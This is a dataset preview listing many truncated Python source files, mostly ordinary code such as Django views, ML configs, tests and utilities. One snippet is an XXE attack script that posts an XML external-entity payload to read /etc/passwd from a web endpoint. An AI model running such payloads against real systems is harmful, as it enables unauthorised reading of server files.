text stringlengths 1 927k |
|---|
from ..helpers import get_allowed
import os
import web
class RemoveProviderR:
"""
This endpoint allows for removing a provider such as openstack or vmware.
A Vent machine runs on a provider, this will not remove existing Vent
machines on the specified provider. Note that a provider can only be
rem... |
# dataset settings
dataset_type = 'Hie_Dataset'
# img_norm_cfg = dict(
# mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True)
train_pipeline = [
dict(type='LoadImageFromNIIFile'),
dict(type='ExtractDataFromObj'),
dict(type='NormalizeMedical', norm_type='full_volume_mean',
i... |
import setuptools
with open("README.md", "r") as fh:
long_description = fh.read()
setuptools.setup(
name="note-python",
version="1.3.0",
author="Blues Inc.",
author_email="support@blues.com",
description="Cross-platform Python Library for the Blues Wireless Notecard,",
long_description=lon... |
# Init Solution
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
%matplotlib inline
import seaborn as sns
sns.set()
from IPython.display import display, Markdown
# Init Solution completed
from sklearn.cluster import DBSCAN
from sklearn.base import clone
display(Markdown("###### Loading Wi-Fi Da... |
# -*- coding: UTF-8 -*-
#virtualBuffers/__init__.py
#A part of NonVisual Desktop Access (NVDA)
#This file is covered by the GNU General Public License.
#See the file COPYING for more details.
#Copyright (C) 2007-2017 NV Access Limited, Peter Vágner
import time
import threading
import ctypes
import collections
import i... |
from pprint import pprint
import click
from senseclust.queries import joined, joined_freq
from wikiparse.tables import headword, word_sense
from sqlalchemy.sql import distinct, select
from sqlalchemy.sql.functions import count
from os.path import join as pjoin
from senseclust.wordnet import get_lemma_objs, WORDNETS
fro... |
import copy, pathlib, typing, abc
from filepattern.functions import get_regex, get_matching, parse_directory, \
parse_vector, logger, VARIABLES, output_name, \
_parse, parse_filename
class PatternObject():
""" Abstract base class for handling file... |
from cumulusci.tasks.preflight.settings import CheckSettingsValue
from cumulusci.tasks.salesforce.tests.util import create_task
from simple_salesforce.exceptions import SalesforceMalformedRequest
import pytest
import responses
JSON_RESPONSE = {
"records": [{"IntVal": 3, "FloatVal": 3.0, "BoolVal": True, "String... |
"""
Dimension
"""
from abc import ABCMeta
from dataclasses import dataclass
__all__ = ["Dimension"]
from .numeric import Number
from ._unit import UnitMeasure
@dataclass
class Dimension:
__metaclass__ = ABCMeta
number: Number
unit: UnitMeasure |
# Generated by Django 3.2.5 on 2021-09-21 12:01
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('payment', '0011_alter_paymentorder_name'),
]
operations = [
migrations.CreateModel(
name='WebhookEvent',
fields=[
... |
# Copyright 2019 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in wri... |
from collections import deque
from typing import List
def maxSlidingWindow(nums: List[int], k: int) -> List[int]:
"""Return the max sliding window of size 'k' on 'nums'."""
maxWindow = []
# Keep track of the indices of the 'max' candidates.
# Elements are guaranteed to be in decreasing order.
max... |
"""
1. Clarification
2. Possible solutions
- Prefix Hash
- Trie
3. Coding
4. Tests
"""
# T=O(sigma(wi^2)), S=O(n), wi=len(i-th word)
class Solution:
def replaceWords(self, dictionary: List[str], sentence: str) -> str:
def replace(word):
for i in range(1, len(word)):
if ... |
#!/usr/bin/env python
# Copyright 2019-2020 The University of Manchester, UK
# Copyright 2020 Vlaams Instituut voor Biotechnologie (VIB), BE
# Copyright 2020 Barcelona Supercomputing Center (BSC), ES
# Copyright 2020 Center for Advanced Studies, Research and Development in Sardinia (CRS4), IT
#
# Licensed under the Ap... |
# -*- coding: utf-8 -*-
import re
def write_history(filename, history):
with open(filename, 'w') as f:
start = True
for x, y, z, alpha, delta in history:
delta_str = '[' + ','.join(str(d) for d in delta) + ']'
if start:
f.write(f"({x}... |
# coding=utf-8
# Copyright 2019 The TensorFlow Datasets Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appl... |
import sys
import os
import argparse
import cPickle as pickle
from ConfigParser import ConfigParser as ConfigParser
from itertools import product
import numpy as np
from sklearn.decomposition import PCA
from matplotlib import pyplot as plt
from matplotlib.legend_handler import HandlerLine2D
from sklearn.manifold impo... |
# ==================================================================================================
# Copyright 2011 Twitter, Inc.
# --------------------------------------------------------------------------------------------------
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use thi... |
import os
import unittest
try:
from unittest.mock import patch, call, ANY, MagicMock
except ImportError:
from mock import patch, call, ANY, MagicMock
from datadog_lambda.wrapper import datadog_lambda_wrapper
from datadog_lambda.metric import lambda_metric
from datadog_lambda.thread_stats_writer import ThreadS... |
# -*- coding: utf-8 -*-
"""
Tests date parsing functionality for all of the
parsers defined in parsers.py
"""
from datetime import date, datetime
from io import StringIO
import numpy as np
import pytest
import pytz
from pandas._libs.tslib import Timestamp
from pandas._libs.tslibs import parsing
from pandas.compat i... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Generated Tue Apr 10 13:54:57 2012 by generateDS.py version 2.7b.
#
import sys
import getopt
import re as re_
import common_types_1_0 as common
import win_handle_object_1_2 as win_handle_object
etree_ = None
Verbose_import_ = False
( XMLParser_import_none, XMLPars... |
class Solution:
def XXX(self, root: TreeNode) -> List[List[int]]:
if not root:
return []
#思想就是使用队列辅助,首先根节点入队,然后开始循环,当队列不为空,不停的出队并将出队节点的左右节点入队
res=[]
q=[root]
count1,count2=1,0
#主要问题就是这个输出格式有点脑瘫,非得一层一起输出,所以这里定义两个变量count1,count2,为什么定两个,可以理解成一个用来统计下一层有多少节点,一... |
import requests
url = 'http://localhost/xml'
shellcode = '''<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM
"file:///etc/passwd">
]>
<foo>
&xxe;
</foo>
'''
data = {'input_data': shellcode}
response = requests.post(url, data=data)
print(response.text) |
"""Common code for DNS Authenticator Plugins."""
import abc
import logging
import os
import stat
from time import sleep
import configobj
import zope.interface
from acme import challenges
from certbot import errors
from certbot import interfaces
from certbot.display import ops
from certbot.display import util as disp... |
#import PyPDF2 # PyPDF2 extracts texts from PDF markup. We found that it worked relatively poor with CVPR papers. Spaces between words are often omitted in the outputs.
import textract # textract uses external OCR command "tesseract" to extract texts. The workflow is to first convert pdf files to ppm images and then ap... |
# Copyright 2013 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
# This gyp file contains the platform-specific optimizations for Skia
{
'targets': [
# Due to an unfortunate intersection of lameness between gcc and ... |
set1=set([1,3,6,78,35,55])
set2=set([12,24,35,24,88,120,155])
set1 &= set2
li=list(set1)
print(li) |
#!/usr/bin/env python
import os
import sys
import shutil
import tempfile
import traceback
from django.conf import settings
import django
TMPDIR = tempfile.mkdtemp(prefix='spillway_')
DEFAULT_SETTINGS = {
'INSTALLED_APPS': (
'django.contrib.staticfiles',
'django.contrib.gis',
'rest_framewo... |
from algoliaqb import AlgoliaQueryBuilder
def test_normal_filters():
aqb = AlgoliaQueryBuilder(
search_param="search",
filter_map={
"is_reported": "is_reported"
}
)
flask_request_args = {
"is_reported": True
}
filter_query = aqb.get_filter_query(flask_... |
# -*- coding: utf-8 -*-
"""Download and extract the IXI Hammersmith Hospital 3T dataset
url: http://brain-development.org/ixi-dataset/
ref: IXI – Information eXtraction from Images (EPSRC GR/S21533/02)
"""
from __future__ import unicode_literals
from __future__ import print_function
from __future__ import division
fr... |
"""
Author : Raquel G. Alhama
Desc:
"""
def strid_to_opts(strid):
"""
Given model id as string, extract parameter dictionary.
Reverse of config_loader.opts2strid
:param strid:
:return:
"""
raise NotImplementedError
#Method not finished
parts = strid.split("_")
param_keys=",".s... |
import re
import subprocess
import argparse
import statistics
from pathlib import Path
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument('--proxy', type=str, default='tcp', help='proxy type (none, tcp, http or grpc)')
parser.add_argument('--app', type=str, help='the name of the appli... |
import numpy as np
import pandas as pd
from typing import List
from anndata import AnnData
from sccloud.io import read_input
def search_genes(
data: AnnData,
gene_list: List[str],
rec_key: str = "de_res",
measure: str = "percentage",
) -> pd.DataFrame:
"""Extract and display gene expressions for ... |
from rest_framework import permissions
class AllPostsPermissions(permissions.BasePermission):
def has_object_permission(self, request, add, obj):
if request.method == "POST":
return self.create(request, *args, **kwargs) |
import numpy as np
from rl.callbacks import Callback
class SaveWeights(Callback):
"""
Callback to regularly save the weights of the neural network.
The weights are only saved after an episode has ended, so not exactly at the specified saving frequency.
Args:
save_freq (int): Training steps b... |
import pytest
import os
import glob
import json
from numpy import arange, array, allclose, save, savetxt
from bolt import array as barray
from thunder.series.readers import fromarray, fromtext, frombinary, fromexample
pytestmark = pytest.mark.usefixtures("eng")
def test_from_array(eng):
a = arange(8, dtype='int... |
import json
import importlib
from datetime import datetime
import time
from st2actions.runners.pythonrunner import Action
def json_serial(obj):
"""JSON serializer for objects not serializable by default json code"""
if isinstance(obj, datetime):
serial = obj.isoformat()
return serial
rai... |
r"""
This model provides the form factor for a pearl necklace composed of two
elements: *N* pearls (homogeneous spheres of radius *R*) freely jointed by *M*
rods (like strings - with a total mass *Mw* = *M* \* *m*\ :sub:`r` + *N* \* *m*\
:sub:`s`, and the string segment length (or edge separation) *l*
(= *A* - 2\ *R*))... |
import urllib
from io import BytesIO
import requests
from flask import (Blueprint, current_app, jsonify, make_response,
render_template, request)
from .helpers import prepare_image_for_json
bp = Blueprint('routes', __name__, url_prefix='')
@bp.route('/', methods=['GET'])
def home():
return r... |
from string import ascii_letters, digits
from secrets import choice
lenght = int(input("Você deseja uma senha de quantos caracteres? "))
special_characters = "!#$%&()*+,-./:;<=>?@[\]_{|}."
characters = ascii_letters + special_characters + digits
while True:
password = ''.join(choice(characters) for i in range (le... |
import csv
import sys
def orderEdges(fileName):
dynamic_dependencies_file = open(fileName)
csv_reader = csv.reader(dynamic_dependencies_file)
list_of_edges = []
for row in csv_reader:
list_of_edges.append(row[0].split())
sortedList = insertionSort(list_of_edges)
return sortedList
def w... |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes ... |
from PIL import Image, ImageTk
from tkinter import Tk, Text, BOTH, W, N, E, S,filedialog,messagebox
from tkinter.ttk import Frame, Button, Label, Style, Progressbar
from youtube_synchronizer.utils import createFolderForPlaylist
from youtube_synchronizer.dataconnectors.youtube_login import loginToGoogle
class YoutubeF... |
import os
import torch
from torch.utils.cpp_extension import load
cwd = os.path.dirname(os.path.realpath(__file__))
cpu_path = os.path.join(cwd, 'cpu')
gpu_path = os.path.join(cwd, 'gpu')
cpu = load('sync_bn_cpu', [
os.path.join(cpu_path, 'operator.cpp'),
os.path.join(cpu_path, 'sync_bn.cpp'),
], build_direct... |
from unittest import mock
from unittest.mock import Mock
from bitcaster.utils.django import (activator_factory,
deactivator_factory, toggler_factory,)
def test_toggler_factory():
with mock.patch('bitcaster.utils.django.get_connection'):
func = toggler_factory('test')
... |
from chill import *
source('/uufs/chpc.utah.edu/common/home/u1142914/lib/ytopt_vinu/polybench/polybench-code/stencils/jacobi-1d/kernel.c')
destination('/uufs/chpc.utah.edu/common/home/u1142914/lib/ytopt_vinu/experiments/jacobi-1d/tmp_files/4223.c')
procedure('kernel_jacobi_1d')
loop(0)
known(' n > 2 ')
tile(0,2,8,2)
... |
import logging
import os
import json
import shutil
import threading
from typing import Any, List
from django.contrib.auth import login
from django.forms.models import BaseModelForm
from django.http.request import HttpRequest
from django.http.response import HttpResponse
from django.views.generic import ListView, Detai... |
from pyxtal.crystal import random_cluster
from copy import deepcopy
from optparse import OptionParser
from random import randint, choice
from scipy.optimize import minimize
from scipy.spatial.distance import pdist, cdist
from pyxtal.molecule import PointGroupAnalyzer
from pymatgen import Molecule
from pyxtal.database.c... |
#!/usr/bin/env python3
# Copyright (c) 2018-2019 The BitRub Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test the wallet balance RPC methods."""
from decimal import Decimal
import struct
from test_framework.a... |
from django.contrib import admin
from django.urls import path, include
from api import views
urlpatterns = [
path('admin/', admin.site.urls),
path('api-auth/', include('rest_framework.urls')),
path('riskcalc', views.calculate_risk)
] |
import argparse
from typing import List, Dict
import requests
from gamestonk_terminal import config_terminal as cfg
from gamestonk_terminal.helper_funcs import (
parse_known_args_and_warn,
)
def get_sentiment_stats(ticker: str) -> Dict:
"""Get sentiment stats
Parameters
----------
ticker : str
... |
import decimal
import numpy as np
import torch
from torch import nn
from torch.autograd import Function
from ...utils import logging
logger = logging.get_logger(__name__)
class QuantEmbedding(qc.Module):
def __init__(
self,
num_embeddings,
embedding_dim,
padding_idx=None,
... |
"""
Cisco Intersight
Cisco Intersight is a management platform delivered as a service with embedded analytics for your Cisco and 3rd party IT infrastructure. This platform offers an intelligent level of management that enables IT organizations to analyze, simplify, and automate their environments in more advan... |
from __future__ import print_function
from __future__ import absolute_import
from .DataTestTemplate import _DataTest
from PyOpenWorm.neuron import Neuron
from PyOpenWorm.cell import Cell
from PyOpenWorm.connection import Connection
from PyOpenWorm.context import Context
class NeuronTest(_DataTest):
ctx_classes ... |
input = """
a.
x | d :- a.
c :- b.
c?
"""
output = """
a.
x | d :- a.
c :- b.
c?
""" |
"""
Text Utils
----------
Set of small utility functions that take text strings as input.
"""
import logging
import re
from typing import Iterable, Optional, Set, Tuple
from . import constants
LOGGER = logging.getLogger(__name__)
def is_acronym(token: str, exclude: Optional[Set[str]] = None) -> bool:
"""
P... |
# code-checked
# server-checked
from model import ToyNet
import torch
import torch.utils.data
import torch.nn as nn
from torch.autograd import Variable
import torch.optim as optim
import torch.nn.functional as F
import numpy as np
import pickle
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
... |
#!/usr/bin/env python3
# Copyright (c) 2017 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test HD Wallet keypool restore function.
Two nodes. Node1 is under test. Node0 is providing transactions an... |
''' A toy example of training single-agent algorithm on Leduc Hold'em
The environment can be treated as normal OpenAI gym style single-agent environment
'''
import tensorflow as tf
import os
import numpy as np
import rlcard
from rlcard.agents.dqn_agent import DQNAgent
from rlcard.agents.random_agent import Random... |
#
# Copyright (c) 2013-2015 Wind River Systems, Inc.
#
# SPDX-License-Identifier: Apache-2.0
#
# vim: tabstop=4 shiftwidth=4 softtabstop=4
import logging
from cgtsclient import exc
from django.core.urlresolvers import reverse # noqa
from django import shortcuts
from django.utils.translation import ugettext_lazy as ... |
from dataclasses import dataclass
from bindings.csw.general_conversion_ref_type import CrsrefType
__NAMESPACE__ = "http://www.opengis.net/gml"
@dataclass
class CrsRef(CrsrefType):
class Meta:
name = "crsRef"
namespace = "http://www.opengis.net/gml" |
'''
Created on 09/12/2016
@author: Alvaro Paricio
@description: Calculator of TRAFFIC ASSIGNMENT ZONES (TAZ). Given a networkfile and a polygon description, get all the nodes of the network included inside the polygon.
'''
import sys
sys.path.insert(1,'lib')
import argparse as arg
from TazGeometry import taz_test, MuT... |
import importlib
import sys
from contextlib import ContextDecorator
def lazy_load(
module_name, element, boto3_name=None, backend=None, warn_repurpose=False
):
def f(*args, **kwargs):
if warn_repurpose:
import warnings
warnings.warn(
f"Module {element} has been... |
# Copyright (c) 2012 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Provides an interface to communicate with the device via the adb command.
Assumes adb binary is currently on system path.
Note that this module is d... |
import sys
import numpy as np
from scipy.stats import multivariate_normal
sys.path.append('./../../')
from src.HMC.hmcparameter import HMCParameter
class VelParam(HMCParameter):
def __init__(self, init_val):
super().__init__(np.array(init_val))
dim = np.array(init_val).shape
self.mu = np.... |
import numpy as np
def plug_in(symbol_values):
req_symbols = ["S", "e", "d"]
data = {}
if all(s in symbol_values for s in req_symbols):
e = symbol_values["e"]
S = symbol_values["S"]
d = symbol_values["d"]
data["k"] = np.abs(d[2][2] / np.sqrt(e[2][2] * S[2][2]))
retur... |
# Generated by Django 2.0.1 on 2018-01-15 19:37
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('forum', '0007_auto_20180... |
""" ReportPortal.io integration
1. Download the ReportPortal `docker-compose.yml` file as "docker-compose.report-portal.yml"
2. Setup permissions for ElasticSearch
3. Configure the `YAML` file based on OS
4. `docker-compose up`
5. Open ReportPortal and login (change password afterwards)
"""
import platform
from pyle... |
__copyright__ = "Copyright 2016, http://radical.rutgers.edu"
__license__ = "MIT"
from .update import Update
from .stager import Stager |
import os
import sys
import platform
import datetime
from modules.Public import StrFormatter
class Merger:
currdir = ""
mergedir = ""
run_merge = {
"active_tab": False,
"mouse": False,
"keyboard": False
}
strfmr = None
def __init__(self):
'''
Merge logs i... |
import json
from django.conf import settings
from django.http import Http404, HttpResponseRedirect, HttpResponse
from django.conf.urls import url, include
from rest_framework import routers, serializers, viewsets, generics
from rest_framework import status
from rest_framework.decorators import api_view, authentication_... |
# -*- coding: utf-8 -*-
"""
The MIT License (MIT)
Copyright (c) 2012-2014 Alexander Turkin
Copyright (c) 2014 William Hallatt
Copyright (c) 2015 Jacob Dawid
Copyright (c) 2016 Luca Weiss
Copyright (c) 2017- Spyder Project Contributors
Permission is hereby granted, free of charge, to any person obtaining a copy
of th... |
from flask import Blueprint
main = Blueprint('main', __name__)
from . import views,errors |
import sys
sys.path.append('/opt')
from common.logger import get_logger
from common.utils import handle_exception_with_slack_notification
from common.exception_handler import exception_handler
from event_pubsub.config import NETWORK_ID, SLACK_HOOK
from event_pubsub.listeners.event_listeners import MPEEventListener, RF... |
#!/usr/bin/env python
# coding=utf-8
import numpy as np
import os
import os.path as op
import argparse
import torch
from Buzznauts.utils import load_dict, saveasnii, get_fmri, set_device
from Buzznauts.analysis.baseline import get_activations, predict_fmri_fast
from tqdm import tqdm
def main():
description = 'En... |
from django.conf import settings
from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger
from django.shortcuts import render
from wagtail.core.models import Page
from wagtail.search.models import Query
from .models import ActionApproach, Resource, Solution, People
def search(request):
# Search
... |
# Copyright © 2012-2018 Jakub Wilk <jwilk@jwilk.net>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the “Software”), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, mer... |
from django.db.models import Count, Manager
class ExampleManager(Manager):
def bulk_create(self, objs, batch_size=None, ignore_conflicts=False):
super().bulk_create(objs, batch_size=batch_size, ignore_conflicts=ignore_conflicts)
uuids = [data.uuid for data in objs]
examples = self.in_bulk... |
#! /usr/bin/env python3
""" -------------------------------
analyse.py
Copyright (C) 2018 RISE
This code was produced by RISE
The 2013-04-10 version
bonsai/src_v02/analyze.py
simple analysis of pandas dataframes data
such as
1. find duplicated rows
2. number of unique ... |
"""
mobility configuration
"""
from tkinter import ttk
from typing import TYPE_CHECKING
import grpc
from core.gui.dialogs.dialog import Dialog
from core.gui.errors import show_grpc_error
from core.gui.themes import PADX, PADY
from core.gui.widgets import ConfigFrame
if TYPE_CHECKING:
from core.gui.app import App... |
from user.user import User |
from rest_framework.exceptions import APIException
from revibe._errors import network
from revibe._helpers import status
# -----------------------------------------------------------------------------
class AccountError(APIException):
status_code = status.HTTP_409_CONFLICT
default_detail = "The request could... |
__all__ = ["preCode", "body", "postCode", "StreamToLogger"] |
#!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "project-vp.settings")
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. A... |
# Generated by Django 2.0.6 on 2018-06-06 06:01
from django.conf import settings
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('accounts', '0004_userstripe'),
]
operations = [
... |
import numpy as np
import time
from astropy.io import fits
import matplotlib.pyplot as plt
def load_fits(filename):
start = time.perf_counter()
hdulist = fits.open(filename)
data = hdulist[0].data
result = np.where(data == np.amax(data))
coornidates = list(zip(result[0],result[1]))
end = time.perf_counter(... |
import gc
import json
import pathlib
import torch
class Checkpoint:
def __init__(self, checkpoint=None):
self.checkpoint = checkpoint
@staticmethod
def get_checkpoint_path(checkpoint_dir):
return checkpoint_dir.joinpath("checkpoint.tar")
@staticmethod
def load_legacy(model_dir):
... |
# -*- coding: utf-8 -*-
"""Models helper
These are helper functions for models.
"""
import torch.optim as optim
import torch.nn as nn
from configs.supported_info import SUPPORTED_OPTIMIZER, SUPPORTED_CRITERION
def get_optimizer(cfg: object, network: object) -> object:
"""Get optimizer function
This is fu... |
from random import randint
from functools import partial
def roll3d6():
return sum(randint(1, 6) for i in range(3))
def roll4d6dl1():
dice = sorted(randint(1, 6) for i in range(4))
return sum(dice[1:])
def genchar(roll_method=roll4d6dl1):
return [roll_method() for i in range(6)] |
# Copyright (c) 2021 CINN Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... |
class DynamicMenuMiddleware:
"""
Adds a cookie to track user when navigating our website, so we can
know which part of the web did he/she came from.
"""
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request):
response = self.get_response... |
import torch
import torch.nn.functional as F
import numpy as np
from collections import OrderedDict
from easydict import EasyDict
from _main_base import main
import os
#---
# config
#---
cfg = EasyDict()
# class
cfg.CLASS_LABEL = ['akahara', 'madara']
cfg.CLASS_NUM = len(cfg.CLASS_LABEL)
# model
cfg.INPUT_HEIGHT = 6... |
"""Certbot Route53 authenticator plugin."""
import collections
import logging
import time
import boto3
import zope.interface
from botocore.exceptions import NoCredentialsError, ClientError
from certbot import errors
from certbot import interfaces
from certbot.plugins import dns_common
from acme.magic_typing import D... |
# Copyright 2019 The Forseti Real Time Enforcer Authors. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... |
# coding=utf-8
# Copyright 2021 The Google Research Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicab... |
from django.db import models
# from django.contrib.auth.models import User
from django.utils.translation import gettext_lazy as _
# Create your models here.
class Questionnaire(models.Model):
title = models.CharField(max_length=50)
description = models.TextField(blank=True, default='')
# created_by = mode... |
from django.db import models
from meiduo_mall.utils.models import BaseModel
# Create your models here.
class ContentCategory(BaseModel):
"""广告内容类别"""
name = models.CharField(max_length=50, verbose_name='名称')
key = models.CharField(max_length=50, verbose_name='类别键名')
class Meta:
db_table = 't... |
import cv2
fname = '/Users/jemy/Documents/github-avatar.png'
img = cv2.imread(fname, cv2.CAP_MODE_GRAY)
cv2.namedWindow('Example6', cv2.WINDOW_AUTOSIZE)
cv2.imshow('Example6', img)
# canny
imgOut = cv2.Canny(img, 0, 100)
cv2.imshow('Example6', imgOut)
cv2.waitKey(0)
cv2.destroyWindow('Example6') |
import numpy as np
from matplotlib import pyplot as plt
import emcee
import sys
import os
from pc_path import definir_path
path_git, path_datos_global = definir_path()
os.chdir(path_git)
sys.path.append('./Software/Funcionales/Clases')
from funciones_graficador import Graficador
#%% Importo las cadenas
os.chdir(path... |
#!/usr/bin/python
import os
import sdk_common
# Block in charge of fetching code coverage tools
class SDKCoverageToolsFetcher(sdk_common.BuildStepUsingGradle):
def __init__(self, logger=None):
super(SDKCoverageToolsFetcher, self).__init__('SDK Coverage tools fetch', logger)
self.is_code_coverage ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.